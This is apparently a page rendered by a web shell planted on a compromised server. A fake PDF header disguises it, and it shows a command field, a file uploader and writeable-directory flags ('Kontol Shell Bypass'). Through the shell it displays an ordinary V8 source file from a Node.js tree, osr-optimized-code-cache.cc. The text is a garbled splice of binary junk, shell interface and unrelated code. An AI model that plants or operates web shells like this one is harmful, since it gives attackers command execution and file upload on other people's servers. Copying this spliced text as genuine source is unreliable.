%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /home/ubuntu/node-v16.18.1/deps/v8/src/objects/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ubuntu/node-v16.18.1/deps/v8/src/objects/osr-optimized-code-cache.cc
// Copyright 2019 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#include "src/objects/osr-optimized-code-cache.h"

#include "src/execution/isolate-inl.h"
#include "src/objects/code.h"
#include "src/objects/maybe-object.h"
#include "src/objects/shared-function-info.h"

namespace v8 {
namespace internal {

const int OSROptimizedCodeCache::kInitialLength;
const int OSROptimizedCodeCache::kMaxLength;

void OSROptimizedCodeCache::AddOptimizedCode(
    Handle<NativeContext> native_context, Handle<SharedFunctionInfo> shared,
    Handle<Code> code, BytecodeOffset osr_offset) {
  DCHECK(!osr_offset.IsNone());
  DCHECK(CodeKindIsOptimizedJSFunction(code->kind()));
  STATIC_ASSERT(kEntryLength == 3);
  Isolate* isolate = native_context->GetIsolate();
  DCHECK(!isolate->serializer_enabled());

  Handle<OSROptimizedCodeCache> osr_cache(
      native_context->GetOSROptimizedCodeCache(), isolate);

  DCHECK_EQ(osr_cache->FindEntry(shared, osr_offset), -1);
  int entry = -1;
  for (int index = 0; index < osr_cache->length(); index += kEntryLength) {
    if (osr_cache->Get(index + kSharedOffset)->IsCleared() ||
        osr_cache->Get(index + kCachedCodeOffset)->IsCleared()) {
      entry = index;
      break;
    }
  }

  if (entry == -1 && osr_cache->length() + kEntryLength <= kMaxLength) {
    entry = GrowOSRCache(native_context, &osr_cache);
  } else if (entry == -1) {
    // We reached max capacity and cannot grow further. Reuse an existing entry.
    // TODO(mythria): We could use better mechanisms (like lru) to replace
    // existing entries. Though we don't expect this to be a common case, so
    // for now choosing to replace the first entry.
    entry = 0;
  }

  osr_cache->InitializeEntry(entry, *shared, *code, osr_offset);
}

void OSROptimizedCodeCache::Clear(NativeContext native_context) {
  native_context.set_osr_code_cache(
      *native_context.GetIsolate()->factory()->empty_weak_fixed_array());
}

void OSROptimizedCodeCache::Compact(Handle<NativeContext> native_context) {
  Handle<OSROptimizedCodeCache> osr_cache(
      native_context->GetOSROptimizedCodeCache(), native_context->GetIsolate());
  Isolate* isolate = native_context->GetIsolate();

  // Re-adjust the cache so all the valid entries are on one side. This will
  // enable us to compress the cache if needed.
  int curr_valid_index = 0;
  for (int curr_index = 0; curr_index < osr_cache->length();
       curr_index += kEntryLength) {
    if (osr_cache->Get(curr_index + kSharedOffset)->IsCleared() ||
        osr_cache->Get(curr_index + kCachedCodeOffset)->IsCleared()) {
      continue;
    }
    if (curr_valid_index != curr_index) {
      osr_cache->MoveEntry(curr_index, curr_valid_index, isolate);
    }
    curr_valid_index += kEntryLength;
  }

  if (!NeedsTrimming(curr_valid_index, osr_cache->length())) return;

  Handle<OSROptimizedCodeCache> new_osr_cache =
      Handle<OSROptimizedCodeCache>::cast(isolate->factory()->NewWeakFixedArray(
          CapacityForLength(curr_valid_index), AllocationType::kOld));
  DCHECK_LT(new_osr_cache->length(), osr_cache->length());
  {
    DisallowGarbageCollection no_gc;
    new_osr_cache->CopyElements(native_context->GetIsolate(), 0, *osr_cache, 0,
                                new_osr_cache->length(),
                                new_osr_cache->GetWriteBarrierMode(no_gc));
  }
  native_context->set_osr_code_cache(*new_osr_cache);
}

Code OSROptimizedCodeCache::GetOptimizedCode(Handle<SharedFunctionInfo> shared,
                                             BytecodeOffset osr_offset,
                                             Isolate* isolate) {
  DisallowGarbageCollection no_gc;
  int index = FindEntry(shared, osr_offset);
  if (index == -1) return Code();
  Code code = GetCodeFromEntry(index);
  if (code.is_null()) {
    ClearEntry(index, isolate);
    return code;
  }
  DCHECK(code.is_optimized_code() && !code.marked_for_deoptimization());
  return code;
}

void OSROptimizedCodeCache::EvictMarkedCode(Isolate* isolate) {
  // This is called from DeoptimizeMarkedCodeForContext that uses raw pointers
  // and hence the DisallowGarbageCollection scope here.
  DisallowGarbageCollection no_gc;
  for (int index = 0; index < length(); index += kEntryLength) {
    MaybeObject code_entry = Get(index + kCachedCodeOffset);
    HeapObject heap_object;
    if (!code_entry->GetHeapObject(&heap_object)) continue;

    // TODO(v8:11880): avoid roundtrips between cdc and code.
    Code code = FromCodeT(CodeT::cast(heap_object));
    DCHECK(code.is_optimized_code());
    if (!code.marked_for_deoptimization()) continue;

    ClearEntry(index, isolate);
  }
}

int OSROptimizedCodeCache::GrowOSRCache(
    Handle<NativeContext> native_context,
    Handle<OSROptimizedCodeCache>* osr_cache) {
  Isolate* isolate = native_context->GetIsolate();
  int old_length = (*osr_cache)->length();
  int grow_by = CapacityForLength(old_length) - old_length;
  DCHECK_GT(grow_by, kEntryLength);
  *osr_cache = Handle<OSROptimizedCodeCache>::cast(
      isolate->factory()->CopyWeakFixedArrayAndGrow(*osr_cache, grow_by));
  for (int i = old_length; i < (*osr_cache)->length(); i++) {
    (*osr_cache)->Set(i, HeapObjectReference::ClearedValue(isolate));
  }
  native_context->set_osr_code_cache(**osr_cache);

  return old_length;
}

Code OSROptimizedCodeCache::GetCodeFromEntry(int index) {
  DCHECK_LE(index + OSRCodeCacheConstants::kEntryLength, length());
  DCHECK_EQ(index % kEntryLength, 0);
  HeapObject code_entry;
  Get(index + OSRCodeCacheConstants::kCachedCodeOffset)
      ->GetHeapObject(&code_entry);
  if (code_entry.is_null()) return Code();
  return FromCodeT(CodeT::cast(code_entry));
}

SharedFunctionInfo OSROptimizedCodeCache::GetSFIFromEntry(int index) {
  DCHECK_LE(index + OSRCodeCacheConstants::kEntryLength, length());
  DCHECK_EQ(index % kEntryLength, 0);
  HeapObject sfi_entry;
  Get(index + OSRCodeCacheConstants::kSharedOffset)->GetHeapObject(&sfi_entry);
  return sfi_entry.is_null() ? SharedFunctionInfo()
                             : SharedFunctionInfo::cast(sfi_entry);
}

BytecodeOffset OSROptimizedCodeCache::GetBytecodeOffsetFromEntry(int index) {
  DCHECK_LE(index + OSRCodeCacheConstants::kEntryLength, length());
  DCHECK_EQ(index % kEntryLength, 0);
  Smi osr_offset_entry;
  Get(index + kOsrIdOffset)->ToSmi(&osr_offset_entry);
  return BytecodeOffset(osr_offset_entry.value());
}

int OSROptimizedCodeCache::FindEntry(Handle<SharedFunctionInfo> shared,
                                     BytecodeOffset osr_offset) {
  DisallowGarbageCollection no_gc;
  DCHECK(!osr_offset.IsNone());
  for (int index = 0; index < length(); index += kEntryLength) {
    if (GetSFIFromEntry(index) != *shared) continue;
    if (GetBytecodeOffsetFromEntry(index) != osr_offset) continue;
    return index;
  }
  return -1;
}

void OSROptimizedCodeCache::ClearEntry(int index, Isolate* isolate) {
  Set(index + OSRCodeCacheConstants::kSharedOffset,
      HeapObjectReference::ClearedValue(isolate));
  Set(index + OSRCodeCacheConstants::kCachedCodeOffset,
      HeapObjectReference::ClearedValue(isolate));
  Set(index + OSRCodeCacheConstants::kOsrIdOffset,
      HeapObjectReference::ClearedValue(isolate));
}

void OSROptimizedCodeCache::InitializeEntry(int entry,
                                            SharedFunctionInfo shared,
                                            Code code,
                                            BytecodeOffset osr_offset) {
  Set(entry + OSRCodeCacheConstants::kSharedOffset,
      HeapObjectReference::Weak(shared));
  HeapObjectReference weak_code_entry =
      HeapObjectReference::Weak(ToCodeT(code));
  Set(entry + OSRCodeCacheConstants::kCachedCodeOffset, weak_code_entry);
  Set(entry + OSRCodeCacheConstants::kOsrIdOffset,
      MaybeObject::FromSmi(Smi::FromInt(osr_offset.ToInt())));
}

void OSROptimizedCodeCache::MoveEntry(int src, int dst, Isolate* isolate) {
  Set(dst + OSRCodeCacheConstants::kSharedOffset,
      Get(src + OSRCodeCacheConstants::kSharedOffset));
  Set(dst + OSRCodeCacheConstants::kCachedCodeOffset,
      Get(src + OSRCodeCacheConstants::kCachedCodeOffset));
  Set(dst + OSRCodeCacheConstants::kOsrIdOffset, Get(src + kOsrIdOffset));
  ClearEntry(src, isolate);
}

int OSROptimizedCodeCache::CapacityForLength(int curr_length) {
  // TODO(mythria): This is a randomly chosen heuristic and is not based on any
  // data. We may have to tune this later.
  if (curr_length == 0) return kInitialLength;
  if (curr_length * 2 > kMaxLength) return kMaxLength;
  return curr_length * 2;
}

bool OSROptimizedCodeCache::NeedsTrimming(int num_valid_entries,
                                          int curr_length) {
  return curr_length > kInitialLength && curr_length > num_valid_entries * 3;
}

}  // namespace internal
}  // namespace v8

Kontol Shell Bypass